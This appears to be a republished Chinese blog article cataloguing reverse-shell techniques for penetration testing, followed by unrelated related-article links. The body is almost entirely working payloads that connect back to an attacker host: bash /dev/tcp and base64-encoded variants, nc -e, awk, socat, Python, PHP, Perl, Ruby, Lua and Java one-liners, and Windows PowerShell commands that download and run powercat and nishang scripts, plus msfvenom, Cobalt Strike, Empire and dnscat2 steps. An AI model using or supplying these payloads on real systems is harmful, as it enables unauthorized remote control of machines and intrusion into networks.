反弹shell的几种姿势小结

在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入,本文就介绍了几种方法,感兴趣的可以了解一下

反弹shell的几种姿势小结,久久派带你了解更多相关信息。

目录
  • Linux 反弹shell
  • Windows反弹shell

在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。

反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。所有姿势整理自网络,假设,攻击者主机为:192.168.99.242,本地监听1234端口,如有特殊情况以下会备注说明。

Linux 反弹shell

姿势一:bash反弹

bash -i >& /dev/tcp/192.168.99.242/1234 0>&1base64版:bash -c \'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}\'

在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

其他版本:

exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5;doneexec /bin/sh 0</dev/tcp/192.168.99.242/1234 1>&0 2>&0

姿势二:nc反弹

nc -e /bin/bash 192.168.99.242 1234

姿势三:awk反弹

awk \'BEGIN{s=\"/inet/tcp/0/192.168.99.242/1234\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}\'

姿势四:telnet反弹

备注:需要在攻击主机上分别监听1234和4321端口,执行反弹shell命令后,在1234终端输入命令,4321查看命令执行后的结果。

telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321

姿势五:socat反弹

socat exec:\'bash -li\',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234

姿势六:Python反弹

python -c \"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'192.168.99.242\',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\'/bin/bash\',\'-i\']);\"

姿势七:PHP反弹

php -r \'$sock=fsockopen(\"192.168.99.242\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");\'

姿势八:Perl反弹

perl -e \'use Socket;$i=\"192.168.99.242\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};\'

姿势九:Ruby反弹

ruby -rsocket -e\'f=TCPSocket.open(\"192.168.99.242\",1234).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)\'

姿势十:Lua反弹

lua -e \"require(\'socket\');require(\'os\');t=socket.tcp();t:connect(\'192.168.99.242\',\'1234\');os.execute(\'/bin/sh -i <&3 >&3 2>&3\');\"

姿势十一:JAVA反弹

public class Revs {    /**    * @param args    * @throws Exception     */public static void main(String[] args) throws Exception {        // TODO Auto-generated method stub        Runtime r = Runtime.getRuntime();        String cmd[]= {\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5; done\"};        Process p = r.exec(cmd);        p.waitFor();    }}

保存为Revs.java文件,编译执行,成功反弹shell。

javac Revs.java java Revs

Windows反弹shell

姿势一:nc反弹

netcat 下载:https://eternallybored.org/misc/netcat/

服务端反弹:nc 192.168.99.242 1234 -e c:\\windows\\system32\\cmd.exe

姿势二:powershell反弹

powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。

PS C:\\WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString(\'https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1\'); powercat -c 192.168.99.242 -p 1234 -e cmd

下载到目标机器本地执行:

PS C:\\WWW> Import-Module ./powercat.ps1PS C:\\WWW> powercat -c 192.168.99.242 -p 1234 -e cmd

姿势三:MSF反弹shell

使用msfvenom生成相关Payload

msfvenom -l payloads | grep \'cmd/windows/reverse\'msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234

姿势四:Cobalt strike反弹shell

1、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。
2、生成payload:点击Attacks——>Packages——>Windows Executable,保存文件位置。
3、目标机执行powershell payload

姿势五:Empire反弹shell

usestager windows/launcher_vbsinfoset Listener testexecute

姿势六:nishang反弹shell

Reverse TCP shell:

powershell IEX (New-Object Net.WebClient).DownloadString(\'https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1\'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234

Reverse UDP shell:

powershell IEX (New-Object Net.WebClient).DownloadString(\'https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1\');Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234

姿势七:Dnscat反弹shell

github项目地址:

https://github.com/iagox86/dnscat2

服务端:

ruby dnscat2.rb --dns \"domain=lltest.com,host=xx.xx.xx.xx\" --no-cache -e open -e open 

目标主机:

powershell IEX (New-Object System.Net.Webclient).DownloadString(\'https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1\');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx

到此这篇关于反弹shell的几种姿势小结的文章就介绍到这了,更多相关反弹shell内容请搜索趣讯吧以前的文章或继续浏览下面的相关文章希望大家以后多多支持趣讯吧!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,请发送邮件至 55@qq.com 举报,一经查实,本站将立刻删除。转转请注明出处:https://www.szhjjp.com/n/8634.html

(0)
上一篇 2021-07-30 23:24:06
下一篇 2021-07-30 23:24:08

相关推荐

  • 抖音100元热门显示潜力十足(抖音投放100元有效果吗)

    流量时代,越来越多的企业商家布局线上经营,找不到客户、获客效率慢经常困扰着企业主。如何转变获客思维,如何高效精准找到潜在客源,我们从这些企业商家的营销秘籍中找到了答案。1、DOU+肩负重任,助力商家获客杭州湘靖网络科技有限公司就是因DOU+而深度

    2021-10-20 用户投稿
    0
  • 两轮电动车:巨头打架(智能先行)

    从世界公认的自行车大国,变为智能两轮电动车的实验场,中国到底用了多长时间?答案是:不到10年。回想2015年,雅迪刚有了布局智能化两轮车的初步构想,而在此1年之前,小牛电动就以“互联网造车者”的姿态,凭智能化杀入传统造车市场。想来,这两家颇具代表性的

    2021-12-26 用户投稿
    0
  • 自己手机如何赚钱养家(手机上最稳的赚钱方式)

    手机赚钱的方法有很多很多,但是基本原则是:积少成多,逐渐累积。总结了一些手机赚钱的方法:一是浏览文章、视频赚钱。就是花钱让你来阅读,来学习。有些人觉得不靠谱,没有这么好的事情。其实,你就错了。这是今后发展的一个趋势。现在商家的广告费用都是找电视台、找

    2021-11-07
    0
  • 如何安装django框架(django环境搭建)

    安装DjangoDjango框架是用Python语言开发的,所以安装Django就像安装其他的Python库一样,执行如下命令即可>pipinstalldjango你可以执行如下命令检查Django是否安装好,并且查看安装的Djang

    2021-10-22
    0
  • 贝壳、安居客、天猫好房的数字化博弈

    配图来自Canva可画前不久,贝壳找房发布了其2021年第三季度的财报。财报数据显示,今年第三季度,贝壳找房的营业收入为181亿元,同比下降了11.9%;净亏损为17.66亿元,调整后净亏损8.88亿

    2021-12-15
    0
  • 今天吃早餐吃(5点吃东西算吃早餐吗)

    女儿这学期住校,孩子的适应能力超强,每次接她都是笑嘻嘻乐呵呵的,感觉非常好。在学校吃饭跟在家里吃饭肯定不一样,寻思着周末假期一定要给孩子做点好吃的。问女儿想吃啥的时候得到的回答是“煎蛋”,还特意强调了要吃酱汁煎蛋。这个好

    2021-10-18 用户投稿
    0

发表回复

登录后才能评论